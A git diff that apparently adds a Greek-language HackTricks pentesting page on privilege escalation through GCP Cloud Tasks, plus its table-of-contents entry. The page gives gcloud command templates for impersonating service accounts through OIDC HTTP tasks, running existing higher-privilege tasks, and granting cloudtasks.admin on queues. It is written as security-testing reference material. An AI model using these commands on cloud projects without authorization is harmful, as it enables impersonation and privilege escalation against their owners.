diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 66a6a8fd8..7e7cc6609 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -107,6 +107,7 @@ - [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md) - [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md) - [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md) + - [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md) - [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md) - [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md) - [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md new file mode 100644 index 000000000..9d8a9393e --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md @@ -0,0 +1,45 @@ +# GCP - Cloud Tasks Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Cloud Tasks + +### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs` + +Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να **παριστάνει άλλους λογαριασμούς υπηρεσιών** δημιουργώντας εργασίες που εκτελούνται με την ταυτότητα του καθορισμένου λογαριασμού υπηρεσίας. Αυτό επιτρέπει την αποστολή **επαληθευμένων HTTP αιτημάτων σε υπηρεσίες Cloud Run ή Cloud Functions που προστατεύονται από IAM**. +```bash +gcloud tasks create-http-task \ +task-$(date '+%Y%m%d%H%M%S') \ +--location us-central1 \ +--queue \ +--url 'https://.us-central1.run.app' \ +--method POST \ +--header 'X-Hello: world' \ +--body-content '{"hello":"world"}' \ +--oidc-service-account-email @.iam.gserviceaccount.com +``` +### `cloudtasks.tasks.run`, `cloudtasks.tasks.list` + +Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να **εκτελεί υπάρχουσες προγραμματισμένες εργασίες** χωρίς να έχει άδειες στον λογαριασμό υπηρεσίας που σχετίζεται με την εργασία. Αυτό επιτρέπει την εκτέλεση εργασιών που δημιουργήθηκαν προηγουμένως με λογαριασμούς υπηρεσίας υψηλότερης εξουσίας. +```bash +gcloud tasks run projects//locations/us-central1/queues//tasks/ +``` +Ο κύριος που εκτελεί αυτή την εντολή **δεν χρειάζεται άδεια `iam.serviceAccounts.actAs`** στον λογαριασμό υπηρεσίας της εργασίας. Ωστόσο, αυτό επιτρέπει μόνο την εκτέλεση υπαρχουσών εργασιών - δεν παρέχει τη δυνατότητα δημιουργίας ή τροποποίησης εργασιών. + +### `cloudtasks.queues.setIamPolicy` + +Ένας επιτιθέμενος με αυτή την άδεια μπορεί **να παραχωρήσει στον εαυτό του ή σε άλλους κύριους ρόλους Cloud Tasks** σε συγκεκριμένες ουρές, ενδεχομένως κλιμακώνοντας σε `roles/cloudtasks.admin` που περιλαμβάνει τη δυνατότητα δημιουργίας και εκτέλεσης εργασιών. +```bash +gcloud tasks queues add-iam-policy-binding \ + \ +--location us-central1 \ +--member serviceAccount:@.iam.gserviceaccount.com \ +--role roles/cloudtasks.admin +``` +Αυτό επιτρέπει στον επιτιθέμενο να παραχωρήσει πλήρη δικαιώματα διαχειριστή Cloud Tasks στην ουρά σε οποιονδήποτε λογαριασμό υπηρεσίας ελέγχει. + +## Αναφορές + +- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs) + +{{#include ../../../banners/hacktricks-training.md}}